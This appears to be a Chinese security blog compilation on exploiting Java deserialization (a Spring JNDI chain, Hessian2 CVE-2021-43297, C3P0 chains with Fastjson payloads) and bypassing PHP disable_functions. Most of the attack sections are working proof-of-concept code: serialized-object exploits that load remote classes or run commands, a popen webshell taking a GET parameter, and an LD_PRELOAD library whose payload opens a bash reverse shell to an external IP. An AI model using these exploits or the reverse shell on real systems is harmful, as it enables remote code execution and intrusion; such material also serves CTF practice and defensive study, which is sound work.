这里this.advice根据其构造方法,是AspectJAroundAdvice的对象,继续跟进AspectJAroundAdvice#getOrder()

1
2
3
public int getOrder() {
return this.aspectInstanceFactory.getOrder();
}

这里this.aspectInstanceFactory是AspectInstanceFactory接口类,而BeanFactoryAspectInstanceFactory是该接口的实现类,因此可以调用到BeanFactoryAspectInstanceFactory#getOrder()

1
2
3
4
5
6
7
8
public int getOrder() {
Class<?> type = this.beanFactory.getType(this.name);
if (type != null) {
return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
} else {
return Integer.MAX_VALUE;
}
}

这里可以调用SimpleJndiBeanFactory#getType()->SimpleJndiBeanFactory#doGetType()->SimpleJndiBeanFactory#doGetSingleton()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {
synchronized(this.singletonObjects) {
Object jndiObject;
if (this.singletonObjects.containsKey(name)) {
jndiObject = this.singletonObjects.get(name);
if (requiredType != null && !requiredType.isInstance(jndiObject)) {
throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);
} else {
return jndiObject;
}
} else {
jndiObject = this.lookup(name, requiredType);
this.singletonObjects.put(name, jndiObject);
return jndiObject;
}
}
}

然后进入JndiLocatorSupport#lookup()从这个方法可以调用到关键的JndiTemplate#lookp()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(final String name) throws NamingException {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Looking up JNDI object with name [" + name + "]");
}

return this.execute(new JndiCallback<Object>() {
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
} else {
return located;
}
}
});
}

终于到达 JNDI 注入处InitialContext#lookup()

链子分析结束!

Poc待完善…

Hessian2

对于 Hessian2 协议,Java 的HashMap对象经过序列化后首位字节由M变为了H,对应 ascii 码 72,其他的区别不大

pom.xml

1
2
3
4
5
6
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-serialization-hessian2</artifactId>
<version>2.7.14</version>
<scope>test</scope>
</dependency>

示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class Hessian2Test {
public static void main(String[] args) throws IOException {
Person person = new Person("ph0ebus", 19, "12345678901");

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(person);
hessian2Output.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
System.out.println(hessian2Input.readObject());
hessian2Input.close();
}
}

Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

字符串和对象拼接导致隐式触发了该对象的 toString 方法, 从而引发后续一系列的利用方式

问题主要出在 Hessian2Input 的 expect 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected IOException expect(String expect, int ch) throws IOException {
if (ch < 0) {
return this.error("expected " + expect + " at end of file");
} else {
--this._offset;

try {
int offset = this._offset;
String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
Object obj = this.readObject();
return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
} catch (Exception var6) {
log.log(Level.FINE, var6.toString(), var6);
return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
}
}
}

那么就要关注哪些方法调用了这个expect 方法,可以发现蛮多read打头的方法都调用了,那就找一条能用的就行,这里选用的是readString()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public String readString() throws IOException {
int tag = this.read();
int ch;
switch (tag) {
case 0:
case 1:
case 2:
case 3:
case 4:

// ...

case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
this._sbuf.setLength(0);

while((ch = this.parseChar()) >= 0) {
this._sbuf.append((char)ch);
}

return this._sbuf.toString();
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40:
case 41:
case 42:
case 43:
case 44:
case 45:
case 46:
case 47:
case 52:
case 53:
case 54:
case 55:
case 64:
case 65:
case 66:
case 67:
case 69:
case 71:
case 72:
case 74:
case 75:
case 77:
case 79:
case 80:
case 81:
case 85:
case 86:
case 87:
case 88:
case 90:
case 96:
case 97:
case 98:

// ...

case 127:
default:
throw this.expect("string", tag);
case 48:
case 49:

// ...
}
}

这里代码截取了较关键的一部分,可以看出由于java中switch语句中case…:标签语法采用的是穿透语义(fall-through semantics),也就是如果case控制的语句体后面不写break,不判断下一个case值,向下运行,直到遇到break,或者整体switch语句结束

也就是说如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句,就能调用到expect()方法

查看哪里调用了readString(),可以找到readObjectDefinition(),恰好这个方法当tag等于67时会被readObject()调用,那这里就连起来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private void readObjectDefinition(Class<?> cl) throws IOException {
String type = this.readString();
int len = this.readInt();
SerializerFactory factory = this.findSerializerFactory();
Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
Object[] fields = reader.createFields(len);
String[] fieldNames = new String[len];

for(int i = 0; i < len; ++i) {
String name = this.readString();
fields[i] = reader.createField(name);
fieldNames[i] = name;
}

ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
this._classDefs.add(def);
}

接下来就是如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67

Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.sql.SQLException;

public class CVE_2021_43297 {
public static void main(String[] args) throws IOException, SQLException {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "rmi://localhost:1099/aa";
jdbcRowSet.setDataSourceName(url);
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeObject(bean);
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
System.out.println(hessian2Input.readObject());
hessian2Input.close();
}
}

这样就可以调用任意类的toString()方法


参考链接:

Java安全-Hessian | jiang

Hessian CVE-2021-43297 & D3CTF 2023 ezjava | X1r0z

Hessian 反序列化及相关利用链 | Longofo@知道创宇404实验室

被我忘掉的Hessian反序列化 | Boogipop

Hessian反序列化机制与利用链构造 | M1sery

Java安全之C3P0反序列化

简介

C3P0是一个开源的JDBC连接池,它实现了数据源和 JNDI 绑定,具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能,支持 JDBC3 规范和 JDBC2 的标准扩展。 使用它的开源项目有Hibernate、Spring等。例如在执行JDBC的增删改查的操作时,如果每一次操作都来一次打开连接,操作,关闭连接,那么创建和销毁JDBC连接的开销就太大了。为了避免频繁地创建和销毁JDBC连接,我们可以通过连接池(Connection Pool)复用已经创建好的连接。

测试环境

java version “1.8.0_111”

pom.xml

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>

利用链

URLClassLoader利用链

PoolBackedDataSource在序列化时可以序列化入一个任意Reference类,在PoolBackedDataSource反序列化时该Reference类中指定的对象会被URLClassLoader远程加载实例化。

1
2
3
4
* java.lang.Class->forName()
* com.mchange.v2.naming.ReferenceableUtils->referenceToObject()
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject

跟进PoolBackedDataSourceBase#readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}

this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}

首先验证了版本号,然后获取反序列化得到的对象,并判断是否实现了IndirectlySerialized接口,如果实现了该接口就调用对象的getObject方法,查看PoolBackedDataSourceBase#writeObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeShort(1);

ReferenceIndirector indirector;
try {
SerializableUtils.toByteArray(this.connectionPoolDataSource);
oos.writeObject(this.connectionPoolDataSource);
} catch (NotSerializableException var9) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);

try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
} catch (IOException var7) {
throw var7;
} catch (Exception var8) {
throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + var8.toString());
}
}

oos.writeObject(this.dataSourceName);

try {
SerializableUtils.toByteArray(this.extensions);
oos.writeObject(this.extensions);
} catch (NotSerializableException var6) {
MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var6);

try {
indirector = new ReferenceIndirector();
oos.writeObject(indirector.indirectForm(this.extensions));
} catch (IOException var4) {
throw var4;
} catch (Exception var5) {
throw new IOException("Problem indirectly serializing extensions: " + var5.toString());
}
}

oos.writeObject(this.factoryClassLocation);
oos.writeObject(this.identityToken);
oos.writeInt(this.numHelperThreads);
}

可以发现它会尝试将connectionPoolDataSource属性序列化,如果发生错误便会在catch块中对connectionPoolDataSource属性用ReferenceIndirector.indirectForm方法处理后再进行序列化操作。跟进indirectForm方法

1
2
3
4
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

此方法会调用connectionPoolDataSource属性的getReference方法,并用返回结果作为参数实例化一个ReferenceSerialized对象,然后将该对象返回,也就是序列化的是ReferenceSerialized对象

而ReferenceSerialized实现了IndirectlySerialized接口,如果ReferenceSerialized被序列化到了序列流中,那么这里调用可以是ReferenceSerialized#getObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object getObject() throws ClassNotFoundException, IOException {
try {
InitialContext var1;
if (this.env == null) {
var1 = new InitialContext();
} else {
var1 = new InitialContext(this.env);
}

Context var2 = null;
if (this.contextName != null) {
var2 = (Context)var1.lookup(this.contextName);
}

return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
} catch (NamingException var3) {
if (ReferenceIndirector.logger.isLoggable(MLevel.WARNING)) {
ReferenceIndirector.logger.log(MLevel.WARNING, "Failed to acquire the Context necessary to lookup an Object.", var3);
}

throw new InvalidObjectException("Failed to acquire the Context necessary to lookup an Object: " + var3.toString());
}

可以发现这里可以调用ReferenceableUtils#referenceToObject()这个静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}

Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}

Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}

NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}

这里Reference var0在序列化过程中是可控的,那么就可以构造通过URLClassLoader实例化远程类,造成任意代码执行了。不过这里Class.forName(String name, boolean initialize, ClassLoader loader)中initialize的值为true,也就是会初始化类,恶意代码写在静态代码块就会自动执行。因此有没有newInstance()这里都能触发漏洞

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class URLClassLoaderTest {
private static class ConnectionPool implements ConnectionPoolDataSource , Referenceable{
protected String classFactory = null;
protected String classFactoryLocation = null;
public ConnectionPool(String classFactory,String classFactoryLocation){
this.classFactory = classFactory;
this.classFactoryLocation = classFactoryLocation;
}
@Override
public Reference getReference() throws NamingException {return new Reference("ref",classFactory,classFactoryLocation);}
@Override
public PooledConnection getPooledConnection() throws SQLException {return null;}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
@Override
public PrintWriter getLogWriter() throws SQLException {return null;}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {}
@Override
public void setLoginTimeout(int seconds) throws SQLException {}
@Override
public int getLoginTimeout() throws SQLException {return 0;}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
}
public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

ConnectionPool connectionPool = new ConnectionPool("Main","http://127.0.0.1:8000/");
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

不出网利用

和URLClassLoader利用链的调用链一样,只是最后不通过URLClassLoader加载远程字节码实例化远程类了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
try {
String var4 = var0.getFactoryClassName();
String var11 = var0.getFactoryClassLocation();
ClassLoader var6 = Thread.currentThread().getContextClassLoader();
if (var6 == null) {
var6 = ReferenceableUtils.class.getClassLoader();
}

Object var7;
if (var11 == null) {
var7 = var6;
} else {
URL var8 = new URL(var11);
var7 = new URLClassLoader(new URL[]{var8}, var6);
}

Class var12 = Class.forName(var4, true, (ClassLoader)var7);
ObjectFactory var9 = (ObjectFactory)var12.newInstance();
return var9.getObjectInstance(var0, var1, var2, var3);
} catch (Exception var10) {
if (logger.isLoggable(MLevel.FINE)) {
logger.log(MLevel.FINE, "Could not resolve Reference to Object!", var10);
}

NamingException var5 = new NamingException("Could not resolve Reference to Object!");
var5.setRootCause(var10);
throw var5;
}
}

可以看到如果String var11 = var0.getFactoryClassLocation();这里返回为null的时候就直接加载本地字节码。

这里就和 JNDI 注入异曲同工了

JNDI注入中,目标代码中调用了InitialContext.lookup(URI),且URI为可控;攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类;目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例; 攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果;

如果不使用URLClassLoader加载类的话,就需要加载并实例化本地实现了javax.naming.spi.ObjectFactory 接口的类,并调用getObjectInstance 方法。在 JNDI 注入高版本限制绕过中,也不能加载远程字节码,这里可以利用它的绕过方法进行C3P0链的不出网利用

org.apache.naming.factory.BeanFactory 满足条件并且存在被利用的可能。BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;
import org.apache.naming.ResourceRef;

public class BeanFactoryTest {
private static final class ConnectionPool implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public ConnectionPool ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "calc";
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','"+ cmd +"']).start()\")"));
return ref;
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}
public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
constructor.setAccessible(true);
PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();

ConnectionPool connectionPool = new ConnectionPool("org.apache.naming.factory.BeanFactory",null);
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(obj, connectionPool);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
objectOutputStream.close();
System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

ByteArrayInputStream bais = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

基于Fastjson进行JNDI注入

触发点在com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private DataSource dereference() throws SQLException {
Object jndiName = this.getJndiName();
Hashtable jndiEnv = this.getJndiEnv();

try {
InitialContext ctx;
if (jndiEnv != null) {
ctx = new InitialContext(jndiEnv);
} else {
ctx = new InitialContext();
}

if (jndiName instanceof String) {
return (DataSource)ctx.lookup((String)jndiName);
} else if (jndiName instanceof Name) {
return (DataSource)ctx.lookup((Name)jndiName);
} else {
throw new SQLException("Could not find ConnectionPoolDataSource with JNDI name: " + jndiName);
}
} catch (NamingException var4) {
if (logger.isLoggable(MLevel.WARNING)) {
logger.log(MLevel.WARNING, "An Exception occurred while trying to look up a target DataSource via JNDI!", var4);
}

throw SqlUtils.toSQLException(var4);
}
}

com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()调用了 dereference() 方法

1
2
3
4
5
6
7
8
9
10
11
12
private synchronized DataSource inner() throws SQLException {
if (this.cachedInner != null) {
return this.cachedInner;
} else {
DataSource out = this.dereference();
if (this.isCaching()) {
this.cachedInner = out;
}

return out;
}
}

而 setLogWriter 和 setLoginTimeout 两个 setter 方法调用了 inner() 方法

1
2
3
4
5
6
7
public void setLogWriter(PrintWriter out) throws SQLException {
this.inner().setLogWriter(out);
}
// ...
public void setLoginTimeout(int seconds) throws SQLException {
this.inner().setLoginTimeout(seconds);
}

这就符合了fastjson的利用条件,那么可以用工具起一个LDAP server恶意利用

1
{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource","jndiName":"ldap://127.0.0.1:1389/calc", "loginTimeout":0}

基于Fastjson的反序列化

fastjson < 1.2.47

链子开头是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners()这个setter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void setUpPropertyListeners() {
VetoableChangeListener setConnectionTesterListener = new VetoableChangeListener() {
public void vetoableChange(PropertyChangeEvent evt) throws PropertyVetoException {
String propName = evt.getPropertyName();
Object val = evt.getNewValue();
if ("connectionTesterClassName".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.recreateConnectionTester((String)val);
} catch (Exception var5) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to create ConnectionTester of class " + val, var5);
}

throw new PropertyVetoException("Could not instantiate connection tester class with name '" + val + "'.", evt);
}
} else if ("userOverridesAsString".equals(propName)) {
try {
WrapperConnectionPoolDataSource.this.userOverrides = C3P0ImplUtils.parseUserOverridesAsString((String)val);
} catch (Exception var6) {
if (WrapperConnectionPoolDataSource.logger.isLoggable(MLevel.WARNING)) {
WrapperConnectionPoolDataSource.logger.log(MLevel.WARNING, "Failed to parse stringified userOverrides. " + val, var6);
}

throw new PropertyVetoException("Failed to parse stringified userOverrides. " + val, evt);
}
}

}
};
this.addVetoableChangeListener(setConnectionTesterListener);
}

这个setter方法里调用了C3P0ImplUtils.parseUserOverridesAsString()方法

1
2
3
4
5
6
7
8
9
public static Map parseUserOverridesAsString(String userOverridesAsString) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring("HexAsciiSerializedMap".length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii(hexAscii);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(serBytes));
} else {
return Collections.EMPTY_MAP;
}
}

这里用substring()对传入的userOverridesAsString进行字符截取,然后调用fromHexAscii()

1
2
3
4
5
6
7
8
9
10
11
12
public static Object fromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
Object var1 = deserializeFromByteArray(var0);
return var1 instanceof IndirectlySerialized ? ((IndirectlySerialized)var1).getObject() : var1;
}

// ...

/** @deprecated */
public static Object deserializeFromByteArray(byte[] var0) throws IOException, ClassNotFoundException {
ObjectInputStream var1 = new ObjectInputStream(new ByteArrayInputStream(var0));
return var1.readObject();
}

这里就可以调用反序列化了

1
{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:<payload>;"}}";

参考链接:

Java安全之反序列化C3P0 | jiang

C3P0的不出网方式利用 | Diggid

突破disable_function限制执行命令

在CTF和渗透测试中,经常会碰到获取到webshell但只能干瞪眼无法执行命令的情况,这往往是disable_functions在作妖,如果用蚁剑等webshell管理工具连接,在终端中执行任意命令的结果都是ret=127。因此我们需要突破disable_functions限制执行命令。

简介

disable_functions 是 php.ini 中的一个设置选项。可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。(eval 在 php 中不属于函数,因此 disable_functions 对它不起作用)

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code.

寻找漏网之鱼

查找php.ini中是否有遗漏的危险函数

1
system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec

passthru():执行外部程序并且显示原始输出

1
<?php passthru("whoami");?>

popen():打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

1
2
3
4
5
6
7
8
<?php
$command=$_GET['cmd'];
$handle = popen($command , "r");
while(!feof($handle)) {
echo fread($handle, 1024);
}
pclose($handle);
?>

proc_open:执行一个命令,并且打开用来输入/输出的文件指针。类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力

1
2
3
4
5
6
7
8
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1])) {
echo fread($pipes[1], 1024);
}
?>

pcntl_exec:在当前进程空间执行指定程序。pcntl是linux下的一个扩展,可以支持php的多线程操作。

1
2
3
4
5
6
7
8
9
<?php
if(function_exists('pcntl_exec')) {
$cmd = "/path/to/command";
$args = array("arg1", "arg2");
pcntl_exec($cmd, $args);
} else {
echo 'pcntl extension is not support!';
}
?>

利用 LD_PRELOAD 环境变量

讨论 LD_PRELOAD 前,先了解程序的链接。所谓链接,也就是说编译器找到程序中所引用的函数或全局变量所存在的位置。一般来说,程序的链接分为静态链接和动态链接。静态链接就是把所有所引用到的函数或变量全部地编译到可执行文件中。动态链接则不会把函数编译到可执行文件中,而是在程序运行时动态地载入函数库。所以,对于动态链接来说,必然需要一个动态链接库。动态链接库的好处在于,一旦动态库中的函数发生变化,可执行程序无需重新编译。这对于程序的发布、维护、更新起到了积极的作用。对于静态链接的程序来说,函数库中一个小小的改动需要整个程序的重新编译、发布,对于程序的维护产生了比较大的工作量。

在UNIX的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

通过 ldd 命令可查看程序或者库文件所依赖的共享库列表,一般情况下,其加载顺序为

1
LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib > /usr/lib

劫持函数

通过putenv()函数将LD_PRELOAD设置为指定恶意动态链接库(.so)文件路径,利用其加载优先级高劫持任意函数执行的内容,从而达到不调用 PHP 的各种命令执行函数仍可执行系统命令的目的。这时候需要一个不在disable_functions内的PHP函数,又能在调用时运行系统可执行程序。

这里以 mail() 为例,mail 函数是一个发送邮件的函数,当使用到这玩意儿发送邮件时会使用到系统程序/usr/sbin/sendmail,我们如果能劫持到 sendmail 触发的函数,那么就可以达到执行任意系统命令的目的了。

可以使用readelf -Ws /usr/sbin/sendmail命令查看 sendmail 命令可能调用的库函数,strace -f可查看具体执行过程中调用的函数,这里拿 geteuid() 函数为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("bash -c 'bash -i >& /dev/tcp/101.42.xx.xx/23333 0>&");
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
// 还原函数调用关系,用函数 unsetenv() 解除
unsetenv("LD_PRELOAD"); /
payload();
}

将 c 编译为动态链接库

1
gcc hack.c -shared -fPIC -o hack.so

然后执行php函数

1
2
3
4
<?php
putenv("LD_PRELOAD=/tmp/hack.so"); // 编译.c文件后的.so文件位置
mail("","","","");
?>

